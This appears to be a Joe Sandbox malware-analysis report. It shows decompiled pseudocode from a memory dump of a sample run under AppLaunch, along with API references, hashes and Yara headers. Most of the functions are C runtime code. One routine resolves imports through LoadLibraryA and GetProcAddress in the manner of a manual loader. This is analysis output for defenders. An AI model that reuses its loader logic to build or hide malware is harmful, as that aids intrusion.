						} else {
							 *((intOrPtr*)(_t50 + 0x10)) = _t43;
							if(_t16 < 0x10) {
								_t24 = _t50;
								 *_t24 = 0;
								return _t24;
							} else {
								 *((char*)( *_t50)) = 0;
								return _t50;
							}
						}
					} else {
						E004053F0(_t50, _t43,  *((intOrPtr*)(_t50 + 0x10)));
						_t36 = _a4;
						if(_t43 == 0) {
							L22:
							return _t50;
						} else {
							L10:
							if( *((intOrPtr*)(_t36 + 0x14)) >= 0x10) {
								_t36 =  *_t36;
							}
							if( *((intOrPtr*)(_t50 + 0x14)) < 0x10) {
								_t18 = _t50;
							} else {
								_t18 =  *_t50;
							}
							L00429D20(_t18, _t36 + _t34, _t43);
							 *((intOrPtr*)(_t50 + 0x10)) = _t43;
							if( *((intOrPtr*)(_t50 + 0x14)) < 0x10) {
								 *((char*)(_t50 + _t43)) = 0;
								goto L22;
							} else {
								 *((char*)( *_t50 + _t43)) = 0;
								return _t50;
							}
						}
					}
				} else {
					E00405360(_t50, _t43 + _t34, 0xffffffff);
					E00405360(_t50, 0, _t34);
					return _t50;
				}
			}

0x004051c4
0x004051c8
0x004051ca
0x004051ce
0x004051d3
0x004051da
0x004051da
0x004051df
0x004051e2
0x004051e6
0x004051e8
0x004051e8
0x004051ec
0x00405210
0x00405217
0x00405217
0x0040521c
0x00405221
0x0040524d
0x00000000
0x0040524f
0x0040524f
0x00405255
0x00405266
0x00405269
0x0040526e
0x00405257
0x0040525a
0x00405262
0x00405262
0x00405255
0x00405223
0x0040522a
0x0040522f
0x00405234
0x0040529e
0x004052a4
0x00405236
0x00405236
0x0040523e
0x00405240
0x00405240
0x00405245
0x00405271
0x00405247
0x00405247
0x00405247
0x00405278
0x00405284
0x00405287
0x0040529a
0x00000000
0x00405289
0x0040528b
0x00405295
0x00405295
0x00405287
0x00405234
0x004051ee
0x004051f5
0x004051ff
0x0040520a
0x0040520a

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004051DA

Part of subcall function 0042905D: std::exception::exception.LIBCMT ref: 00429072
Part of subcall function 0042905D: __CxxThrowException@8.LIBCMT ref: 00429087
Part of subcall function 0042905D: std::exception::exception.LIBCMT ref: 00429098

std::_Xinvalid_argument.LIBCPMT ref: 00405217

Part of subcall function 00429010: std::exception::exception.LIBCMT ref: 00429025
Part of subcall function 00429010: __CxxThrowException@8.LIBCMT ref: 0042903A
Part of subcall function 00429010: std::exception::exception.LIBCMT ref: 0042904B

_memmove.LIBCMT ref: 00405278

Strings

invalid string position, xrefs: 004051D5
string too long, xrefs: 00405212

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 1615890066-4289949731
Opcode ID: 1f59e8a623d8615a5c5df095e7421f3ad921c25e3fc6fa2353558afbc57de13d
Instruction ID: 384642ea81c671e7a511f8b27eed5fb1e559ba33c72de541f922d928c331b45a
Opcode Fuzzy Hash: 1f59e8a623d8615a5c5df095e7421f3ad921c25e3fc6fa2353558afbc57de13d
Instruction Fuzzy Hash: F931B432300A149BD7209A9CE840B6BF3A9EFA1764F24057FF551DB2C1CA759C418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0042FAC5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E0042FAC5(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t26;
				void* _t27;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t23 = __ecx;
				_t22 = __ebx;
				_t30 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E0042FA33(__ebx, __edi, __esi, _t30);
					_t28 = _t28 + 0x10;
				}
				_t31 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t27);
				}
				L0042D6F5(_t23);
				_push( *_t26);
				_push(_a16);
				_push(_a12);
				_push(_t27);
				L0042F4A4(_t22, _t25, _t26, _t27, _t31);
				_push(0x100);
				_push(_a24);
				_push(_a16);
				 *((intOrPtr*)(_t27 + 8)) =  *((intOrPtr*)(_t26 + 4)) + 1;
				_push(_a8);
				_t14 = _t22 + 0xc; // 0x6e
				_push(_t27);
				_push(_a4);
				_t20 = L0042F718(_t22,  *_t14, _t26, _t27, _t31);
				if(_t20 != 0) {
					L0042D6BC(_t20, _t27);
					return _t20;
				}
				return _t20;
			}

0x0042fac5
0x0042fac5
0x0042fac5
0x0042fac5
0x0042faca
0x0042face
0x0042fad0
0x0042fad3
0x0042fad4
0x0042fad5
0x0042fad8
0x0042fadd
0x0042fadd
0x0042fae0
0x0042fae4
0x0042fae7
0x0042faec
0x0042fae9
0x0042fae9
0x0042fae9
0x0042faef
0x0042faf4
0x0042faf6
0x0042faf9
0x0042fafc
0x0042fafd
0x0042fb05
0x0042fb0a
0x0042fb0e
0x0042fb11
0x0042fb14
0x0042fb17
0x0042fb1a
0x0042fb1b
0x0042fb1e
0x0042fb28
0x0042fb2c
0x00000000
0x0042fb2c
0x0042fb32

APIs

___BuildCatchObject.LIBCMT ref: 0042FAD8

Part of subcall function 0042FA33: ___BuildCatchObjectHelper.LIBCMT ref: 0042FA69

_UnwindNestedFrames.LIBCMT ref: 0042FAEF
___FrameUnwindToState.LIBCMT ref: 0042FAFD

Strings

csm, xrefs: 0042FAD4, 0042FAE9, 0042FAFC, 0042FB1A, 0042FB2A
csm, xrefs: 0042FAC7

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: d9ab484e12d52535e9e60eae61805b5416c87f709676d90ae6157c4ff97f398b
Instruction ID: c2954b1eca31a93dd16e960c80a6c4ccc1ed49ae8c48601b23d21057baf479d8
Opcode Fuzzy Hash: d9ab484e12d52535e9e60eae61805b5416c87f709676d90ae6157c4ff97f398b
Instruction Fuzzy Hash: 15012871500129BBDF12AE51EC46EAB7E7AEF04354F804036BC0C15121D77A9966DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404AC0 Relevance: 7.6, APIs: 5, Instructions: 135
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00404AC0(void* __edi) {
				intOrPtr* _v8;
				struct HINSTANCE__* _v12;
				intOrPtr _v16;
				void* __esi;
				intOrPtr _t37;
				intOrPtr _t39;
				signed int _t42;
				intOrPtr _t44;
				signed short _t45;
				CHAR* _t46;
				_Unknown_base(*)()* _t47;
				signed int _t49;
				intOrPtr* _t59;
				signed short* _t61;
				intOrPtr _t64;
				intOrPtr* _t69;
				struct HINSTANCE__* _t73;
				void* _t76;
				signed short* _t77;
				intOrPtr _t79;
				void* _t85;
				void* _t86;
				void* _t87;

				_t76 = __edi;
				_t37 =  *((intOrPtr*)(__edi + 0xc0));
				_t86 = _t85 - 0xc;
				if(_t37 == 0 ||  *((intOrPtr*)(__edi + 0xc4)) == 0) {
					return 0;
				} else {
					_t59 =  *((intOrPtr*)(__edi + 0x144)) + _t37;
					_t39 =  *((intOrPtr*)(_t59 + 0xc));
					_push(_t77);
					_v8 = _t59;
					if(_t39 != 0) {
						while(1) {
							_t73 = LoadLibraryA( *((intOrPtr*)(_t76 + 0x144)) + _t39);
							_v12 = _t73;
							if(_t73 == 0) {
								break;
							}
							_t42 =  *(_t76 + 0x154);
							if( *(_t76 + 0x150) < _t42) {
								_t79 = _v16;
								goto L15;
							} else {
								if(_t42 == 0) {
									_t49 = 0x10;
								} else {
									_t49 = _t42 + _t42;
								}
								 *(_t76 + 0x154) = _t49;
								_t79 = E0042A0BB(_t49 * 4, _t76, _t77, _t49 * 4);
								_t87 = _t86 + 4;
								_v16 = _t79;
								if(_t79 == 0) {
									return 3;
								} else {
									_t52 =  *(_t76 + 0x150);
									if( *(_t76 + 0x150) != 0) {
										L00429D20(_t79,  *((intOrPtr*)(_t76 + 0x14c)), _t52 + _t52 + _t52 + _t52);
										_t87 = _t87 + 0xc;
									}
									E0042A081( *((intOrPtr*)(_t76 + 0x14c)));
									_t73 = _v12;
									_t86 = _t87 + 4;
									 *((intOrPtr*)(_t76 + 0x14c)) = _t79;
									L15:
									_t69 = _v8;
									 *(_t79 +  *(_t76 + 0x150) * 4) = _t73;
									 *(_t76 + 0x150) =  *(_t76 + 0x150) + 1;
									_t44 =  *((intOrPtr*)(_t76 + 0x144));
									_t77 =  *((intOrPtr*)(_t59 + 0x10)) + _t44;
									_t61 = _t77;
									if( *((intOrPtr*)(_t69 + 4)) == 0) {
										L18:
										_t45 =  *_t61;
										if(_t45 == 0) {
											L27:
											_t39 =  *((intOrPtr*)(_t69 + 0x20));
											_v8 = _t69 + 0x14;
											if(_t39 != 0) {
												_t59 = _v8;
												continue;
											} else {
												return _t39;
											}
										} else {
											L21:
											L21:
											if(_t45 >= 0) {
												_t46 = _t45 +  *((intOrPtr*)(_t76 + 0x144)) + 2;
											} else {
												_t46 = _t45 & 0x0000ffff;
											}
											_t47 = GetProcAddress(_t73, _t46);
											 *_t77 = _t47;
											if(_t47 == 0) {
												break;
											}
											_t45 = _t61[2];
											_t61 =  &(_t61[2]);
											_t77 =  &(_t77[2]);
											if(_t45 != 0) {
												_t73 = _v12;
												goto L21;
											} else {
												_t69 = _v8;
												goto L27;
											}
										}
									} else {
										_t64 =  *_t69;
										if(_t64 == 0) {
											return 8;
										} else {
											_t61 = _t64 + _t44;
											goto L18;
										}
									}
								}
							}
							goto L33;
						}
						return 6;
					} else {
						return _t39;
					}
				}
				L33:
			}

0x00404ac0
0x00404ac3
0x00404ac9
0x00404ace
0x00404c41
0x00404ae1
0x00404ae8
0x00404aea
0x00404aed
0x00404aee
0x00404af3
0x00404b03
0x00404b12
0x00404b14
0x00404b19
0x00000000
0x00000000
0x00404b1f
0x00404b2b
0x00404b96
0x00000000
0x00404b2d
0x00404b2f
0x00404b35
0x00404b31
0x00404b31
0x00404b31
0x00404b42
0x00404b4d
0x00404b4f
0x00404b52
0x00404b57
0x00404c25
0x00404b5d
0x00404b5d
0x00404b65
0x00404b74
0x00404b79
0x00404b79
0x00404b83
0x00404b88
0x00404b8b
0x00404b8e
0x00404b99
0x00404b9f
0x00404ba2
0x00404ba5
0x00404bae
0x00404bb4
0x00404bba
0x00404bbc
0x00404bc6
0x00404bc6
0x00404bca
0x00404c04
0x00404c04
0x00404c0a
0x00404c0f
0x00404b00
0x00000000
0x00404c15
0x00404c1a
0x00404c1a
0x00404bcc
0x00000000
0x00404bd3
0x00404bd5
0x00404be2
0x00404bd7
0x00404bd7
0x00404bd7
0x00404be8
0x00404bee
0x00404bf2
0x00000000
0x00000000
0x00404bf4
0x00404bf7
0x00404bfa
0x00404bff
0x00404bd0
0x00000000
0x00404c01
0x00404c01
0x00000000
0x00404c01
0x00404bff
0x00404bbe
0x00404bbe
0x00404bc2
0x00404c30
0x00404bc4
0x00404bc4
0x00000000
0x00404bc4
0x00404bc2
0x00404bbc
0x00404b57
0x00000000
0x00404b2b
0x00404c3b
0x00404af5
0x00404afa
0x00404afa
0x00404af3
0x00000000

APIs

LoadLibraryA.KERNEL32(?), ref: 00404B0C
_malloc.LIBCMT ref: 00404B48
_memmove.LIBCMT ref: 00404B74
_free.LIBCMT ref: 00404B83
GetProcAddress.KERNEL32(00000000,?), ref: 00404BE8

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc_free_malloc_memmove
String ID:
API String ID: 2200627730-0
Opcode ID: 09b4250d3e3d86f634bf7c8fff7cf285ed1efbcd443c52b750e0be3c8af0cb50
Instruction ID: d10085409e6d275aea881782f67692c01ffbfd7ffa089839b5dfe1c235f2a977
Opcode Fuzzy Hash: 09b4250d3e3d86f634bf7c8fff7cf285ed1efbcd443c52b750e0be3c8af0cb50
Instruction Fuzzy Hash: 6C4160B1B01605ABD714CFA9E880BA6F3B4BB88305F1441BADD0CDB341E739ED219B95

Uniqueness

Uniqueness Score: -1.00%

Function 00404AFB Relevance: 7.6, APIs: 5, Instructions: 88
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404AFB(intOrPtr __eax, void* __edi, signed short* __esi) {
				intOrPtr _t32;
				signed int _t35;
				intOrPtr _t37;
				signed short _t38;
				CHAR* _t39;
				_Unknown_base(*)()* _t40;
				signed int _t42;
				intOrPtr _t50;
				signed short* _t52;
				intOrPtr _t54;
				intOrPtr* _t59;
				struct HINSTANCE__* _t63;
				void* _t66;
				signed short* _t67;
				intOrPtr _t69;
				void* _t74;
				void* _t79;
				void* _t81;

				_t67 = __esi;
				_t66 = __edi;
				_t32 = __eax;
				while(1) {
					_t50 =  *((intOrPtr*)(_t74 - 4));
					_t63 = LoadLibraryA( *((intOrPtr*)(_t66 + 0x144)) + _t32);
					 *(_t74 - 8) = _t63;
					if(_t63 == 0) {
						break;
					}
					_t35 =  *(_t66 + 0x154);
					if( *(_t66 + 0x150) < _t35) {
						_t69 =  *((intOrPtr*)(_t74 - 0xc));
						goto L12;
					} else {
						if(_t35 == 0) {
							_t42 = 0x10;
						} else {
							_t42 = _t35 + _t35;
						}
						 *(_t66 + 0x154) = _t42;
						_t69 = E0042A0BB(_t42 * 4, _t66, _t67, _t42 * 4);
						_t81 = _t79 + 4;
						 *((intOrPtr*)(_t74 - 0xc)) = _t69;
						if(_t69 == 0) {
							return 3;
						} else {
							_t45 =  *(_t66 + 0x150);
							if( *(_t66 + 0x150) != 0) {
								L00429D20(_t69,  *((intOrPtr*)(_t66 + 0x14c)), _t45 + _t45 + _t45 + _t45);
								_t81 = _t81 + 0xc;
							}
							E0042A081( *((intOrPtr*)(_t66 + 0x14c)));
							_t63 =  *(_t74 - 8);
							_t79 = _t81 + 4;
							 *((intOrPtr*)(_t66 + 0x14c)) = _t69;
							L12:
							_t59 =  *((intOrPtr*)(_t74 - 4));
							 *(_t69 +  *(_t66 + 0x150) * 4) = _t63;
							 *(_t66 + 0x150) =  *(_t66 + 0x150) + 1;
							_t37 =  *((intOrPtr*)(_t66 + 0x144));
							_t67 =  *((intOrPtr*)(_t50 + 0x10)) + _t37;
							_t52 = _t67;
							if( *((intOrPtr*)(_t59 + 4)) == 0) {
								L15:
								_t38 =  *_t52;
								if(_t38 == 0) {
									L24:
									_t32 =  *((intOrPtr*)(_t59 + 0x20));
									 *((intOrPtr*)(_t74 - 4)) = _t59 + 0x14;
									if(_t32 != 0) {
										continue;
									} else {
										return _t32;
									}
								} else {
									L18:
									while(1) {
										if(_t38 >= 0) {
											_t39 = _t38 +  *((intOrPtr*)(_t66 + 0x144)) + 2;
										} else {
											_t39 = _t38 & 0x0000ffff;
										}
										_t40 = GetProcAddress(_t63, _t39);
										 *_t67 = _t40;
										if(_t40 == 0) {
											goto L28;
										} else {
											_t38 = _t52[2];
											_t52 =  &(_t52[2]);
											_t67 =  &(_t67[2]);
											if(_t38 != 0) {
												_t63 =  *(_t74 - 8);
												continue;
											} else {
												_t59 =  *((intOrPtr*)(_t74 - 4));
												goto L24;
											}
										}
										goto L29;
									}
								}
							} else {
								_t54 =  *_t59;
								if(_t54 == 0) {
									return 8;
								} else {
									_t52 = _t54 + _t37;
									goto L15;
								}
							}
						}
					}
					L29:
				}
				L28:
				return 6;
				goto L29;
			}

0x00404afb
0x00404afb
0x00404afb
0x00404b00
0x00404b00
0x00404b12
0x00404b14
0x00404b19
0x00000000
0x00000000
0x00404b1f
0x00404b2b
0x00404b96
0x00000000
0x00404b2d
0x00404b2f
0x00404b35
0x00404b31
0x00404b31
0x00404b31
0x00404b42
0x00404b4d
0x00404b4f
0x00404b52
0x00404b57
0x00404c25
0x00404b5d
0x00404b5d
0x00404b65
0x00404b74
0x00404b79
0x00404b79
0x00404b83
0x00404b88
0x00404b8b
0x00404b8e
0x00404b99
0x00404b9f
0x00404ba2
0x00404ba5
0x00404bae
0x00404bb4
0x00404bba
0x00404bbc
0x00404bc6
0x00404bc6
0x00404bca
0x00404c04
0x00404c04
0x00404c0a
0x00404c0f
0x00000000
0x00404c15
0x00404c1a
0x00404c1a
0x00404bcc
0x00000000
0x00404bd3
0x00404bd5
0x00404be2
0x00404bd7
0x00404bd7
0x00404bd7
0x00404be8
0x00404bee
0x00404bf2
0x00000000
0x00404bf4
0x00404bf4
0x00404bf7
0x00404bfa
0x00404bff
0x00404bd0
0x00000000
0x00404c01
0x00404c01
0x00000000
0x00404c01
0x00404bff
0x00000000
0x00404bf2
0x00404bd3
0x00404bbe
0x00404bbe
0x00404bc2
0x00404c30
0x00404bc4
0x00404bc4
0x00000000
0x00404bc4
0x00404bc2
0x00404bbc
0x00404b57
0x00000000
0x00404b2b
0x00404c31
0x00404c3b
0x00000000

APIs

LoadLibraryA.KERNEL32(?), ref: 00404B0C
_malloc.LIBCMT ref: 00404B48
_memmove.LIBCMT ref: 00404B74
_free.LIBCMT ref: 00404B83
GetProcAddress.KERNEL32(00000000,?), ref: 00404BE8

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc_free_malloc_memmove
String ID:
API String ID: 2200627730-0
Opcode ID: bfcf2e830a19cac7751f07ba5cb818861e392257d92fac8a0410e1aa710d3dc3
Instruction ID: 94f02e61434dc7d6a905727ed040e78c3b79ad3c83dee038238a14ba1127d59b
Opcode Fuzzy Hash: bfcf2e830a19cac7751f07ba5cb818861e392257d92fac8a0410e1aa710d3dc3
Instruction Fuzzy Hash: 15314CF5B00612ABD714CF65D9807A6B3B4BB84309F14417ADD09AB341E739ED218B99

Uniqueness

Uniqueness Score: -1.00%

Function 0043796C Relevance: 7.6, APIs: 5, Instructions: 68
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E0043796C(void* __edx, void* __edi, void* __esi, void* _a4, long _a8) {
				void* _t7;
				long _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				long _t27;
				long _t30;

				if(_a4 != 0) {
					_push(__esi);
					_t30 = _a8;
					__eflags = _t30;
					if(_t30 != 0) {
						_push(__edi);
						while(1) {
							__eflags = _t30 - 0xffffffe0;
							if(_t30 > 0xffffffe0) {
								break;
							}
							__eflags = _t30;
							if(_t30 == 0) {
								_t30 = _t30 + 1;
								__eflags = _t30;
							}
							_t7 = RtlReAllocateHeap( *0x452018, 0, _a4, _t30);
							_t27 = _t7;
							__eflags = _t27;
							if(_t27 != 0) {
								L17:
								_t8 = _t27;
							} else {
								__eflags =  *0x45267c - _t7;
								if(__eflags == 0) {
									_t9 = E0042F37B(__eflags);
									 *_t9 = L0042F339(GetLastError());
									goto L17;
								} else {
									__eflags = E004318E4(_t7, _t30);
									if(__eflags == 0) {
										_t12 = E0042F37B(__eflags);
										 *_t12 = L0042F339(GetLastError());
										L12:
										_t8 = 0;
										__eflags = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E004318E4(_t6, _t30);
						 *((intOrPtr*)(E0042F37B(__eflags))) = 0xc;
						goto L12;
					} else {
						E0042A081(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E0042A0BB(__edx, __edi, __esi, _a8);
				}
			}

0x00437975
0x00437982
0x00437983
0x00437986
0x00437988
0x00437997
0x004379ca
0x004379ca
0x004379cd
0x00000000
0x00000000
0x0043799a
0x0043799c
0x0043799e
0x0043799e
0x0043799e
0x004379ab
0x004379b1
0x004379b3
0x004379b5
0x00437a15
0x00437a15
0x004379b7
0x004379b7
0x004379bd
0x004379ff
0x00437a13
0x00000000
0x004379bf
0x004379c6
0x004379c8
0x004379e7
0x004379fb
0x004379e1
0x004379e1
0x004379e1
0x00000000
0x00000000
0x00000000
0x004379c8
0x004379bd
0x00000000
0x004379e3
0x004379d0
0x004379db
0x00000000
0x0043798a
0x0043798d
0x00437993
0x00437993
0x004379e4
0x004379e6
0x00437977
0x00437981
0x00437981

APIs

_malloc.LIBCMT ref: 0043797A

Part of subcall function 0042A0BB: __FF_MSGBANNER.LIBCMT ref: 0042A0D4
Part of subcall function 0042A0BB: __NMSG_WRITE.LIBCMT ref: 0042A0DB
Part of subcall function 0042A0BB: RtlAllocateHeap.NTDLL(00000000,00000001), ref: 0042A100

_free.LIBCMT ref: 0043798D

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: b0968299978e8540eebb69fffacec71417c26d756ff4d06cf3d3d0ec2005f656
Instruction ID: 40ed3d629d03d7e3e880ae94eccb972d4304f95a1ee239ab6ab3dd700d5a6782
Opcode Fuzzy Hash: b0968299978e8540eebb69fffacec71417c26d756ff4d06cf3d3d0ec2005f656
Instruction Fuzzy Hash: 021108B2508620ABEB312F71FC0575B36A59F493A4F50563BFC8996251DA3C8841879D

Uniqueness

Uniqueness Score: -1.00%

Function 00414040 Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00414040(intOrPtr _a4) {
				intOrPtr _v8;
				char _v16;
				signed int _t15;
				void* _t23;
				intOrPtr _t35;
				signed int _t37;
				void* _t38;
				void* _t39;

				_push(0xffffffff);
				_push(0x43d7f4);
				_push( *[fs:0x0]);
				_t15 =  *0x450664; // 0x30e242aa
				_push(_t15 ^ _t37);
				 *[fs:0x0] =  &_v16;
				_t35 = _a4;
				_v8 = 4;
				L004293E1(_t35);
				_t4 = _t35 + 0x1c; // 0xcccccccc
				_t19 =  *_t4;
				_t39 = _t38 + 4;
				if( *_t4 != 0) {
					E0042A081(_t19);
					_t39 = _t39 + 4;
				}
				 *((intOrPtr*)(_t35 + 0x1c)) = 0;
				_t6 = _t35 + 0x14; // 0xccc35de5
				_t20 =  *_t6;
				if( *_t6 != 0) {
					E0042A081(_t20);
					_t39 = _t39 + 4;
				}
				 *((intOrPtr*)(_t35 + 0x14)) = 0;
				_t8 = _t35 + 0xc; // 0x59000000
				_t21 =  *_t8;
				if( *_t8 != 0) {
					E0042A081(_t21);
					_t39 = _t39 + 4;
				}
				 *((intOrPtr*)(_t35 + 0xc)) = 0;
				_t10 = _t35 + 4; // 0xf44d8b00
				_t22 =  *_t10;
				if( *_t10 != 0) {
					E0042A081(_t22);
				}
				 *((intOrPtr*)(_t35 + 4)) = 0;
				_v8 = 0xffffffff;
				_t23 = L00429655(_t35);
				 *[fs:0x0] = _v16;
				return _t23;
			}

0x00414043
0x00414045
0x00414050
0x00414053
0x0041405a
0x0041405e
0x00414064
0x00414068
0x0041406f
0x00414074
0x00414074
0x00414079
0x0041407e
0x00414081
0x00414086
0x00414086
0x00414089
0x0041408c
0x0041408c
0x00414091
0x00414094
0x00414099
0x00414099
0x0041409c
0x0041409f
0x0041409f
0x004140a4
0x004140a7
0x004140ac
0x004140ac
0x004140af
0x004140b2
0x004140b2
0x004140b7
0x004140ba
0x004140bf
0x004140c4
0x004140c7
0x004140ce
0x004140d6
0x004140e3

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0041406F

Part of subcall function 004293E1: _setlocale.LIBCMT ref: 004293F3

_free.LIBCMT ref: 00414081

Part of subcall function 0042A081: RtlFreeHeap.NTDLL(00000000,00000000,?,00430F78,00000000,?,?,0042F380,0042A144), ref: 0042A097
Part of subcall function 0042A081: GetLastError.KERNEL32(00000000,?,00430F78,00000000,?,?,0042F380,0042A144), ref: 0042A0A9

_free.LIBCMT ref: 00414094
_free.LIBCMT ref: 004140A7
_free.LIBCMT ref: 004140BA

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLastLocinfo::_Locinfo_dtor_setlocalestd::_
String ID:
API String ID: 3515823920-0
Opcode ID: cc2736f93e5c4d4de9a91a20419dd47bc735a460219bfca7b97b94ba4aeb157b
Instruction ID: d66866a827d8e073561afd4121702a67b98d5512b24b1687cb67e58a9397a311
Opcode Fuzzy Hash: cc2736f93e5c4d4de9a91a20419dd47bc735a460219bfca7b97b94ba4aeb157b
Instruction Fuzzy Hash: 051191B1E006409FC720DF5AE841A8BF7ECEF94714F544A2FE91AC3740E639ED548A5A

Uniqueness

Uniqueness Score: -1.00%

Function 004228B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 177
COMMON

Download Yara Rule

C-Code - Quality: 15%

			E004228B0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed long long _a24) {
				signed int _v8;
				long _v124;
				char _v130;
				char _v131;
				long _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				char _v145;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t56;
				signed int _t59;
				signed char _t62;
				short* _t63;
				char _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				signed int _t74;
				char _t76;
				signed int _t84;
				signed int _t85;
				void* _t90;
				intOrPtr _t91;
				intOrPtr _t93;
				void* _t94;
				intOrPtr _t96;
				signed int _t97;
				signed int _t99;
				signed int _t103;
				signed int _t107;
				signed int _t113;
				signed int _t117;
				signed long long _t125;

				_t99 = (_t97 & 0xffffffc0) - 0xb4;
				_t56 =  *0x450664; // 0x30e242aa
				_v8 = _t56 ^ _t99;
				_t73 = _a16;
				_v136 = _a4;
				_t59 =  *(_t73 + 0x1c);
				_t93 =  *((intOrPtr*)(_t73 + 0x18));
				_v140 = _t73;
				_t103 = _t59;
				if(_t103 <= 0 && (_t103 < 0 || _t93 == 0) && ( *(_t73 + 0x14) & 0x00002000) == 0) {
					_t93 = 6;
					_t59 = 0;
				}
				_t74 = _t59;
				_t107 = _t74;
				if(_t107 < 0 || _t107 <= 0 && _t93 <= 0x24) {
					_v144 = _t93;
				} else {
					_v144 = 0x24;
				}
				asm("cdq");
				_t94 = _t93 - _v144;
				asm("sbb ecx, edx");
				_t84 =  *(_v140 + 0x14);
				_t62 = _t84 & 0x00003000;
				_t71 = 0;
				_t90 = 0;
				if(_t62 != 0x2000) {
